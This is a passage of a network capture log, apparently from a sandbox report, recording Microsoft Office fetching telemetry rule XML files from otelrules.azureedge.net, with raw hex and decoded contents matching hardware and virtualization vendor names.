2024-10-28 01:07:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49806	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010728Z-16849878b78j7llf5vkyvvcehs00000005fg000000002uas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49807	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010728Z-16849878b78km6fmmkbenhx76n00000003p000000000bfnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49809	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 18d6d76d-f01e-0052-73f2-249224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010728Z-15b8d89586f42m673h1quuee4s000000088000000000g5a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:28 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49808	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010728Z-16849878b786jv8w2kpaf5zkqs000000034000000000h9u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010729Z-16849878b78j7llf5vkyvvcehs00000005fg000000002ubz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:29 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010729Z-16849878b78bjkl8dpep89pbgg0000000320000000006hvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:29 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: cfcfc7b9-001e-0065-0f5b-260b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010729Z-17c5cb586f6lxnvg801rcb3n8n00000003y000000000edtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:29 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010729Z-16849878b78bcpfn2qf7sm6hsn00000005vg00000000hqkw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:29 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010729Z-16849878b78qf2gleqhwczd21s00000004dg00000000pt7p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49815	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:30 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:30 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:30 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010730Z-16849878b7828dsgct3vrzta7000000002q000000000ez29 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:30 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:30 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:30 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010730Z-16849878b7867ttgfbpnfxt44s000000044g00000000ehyb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49817	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
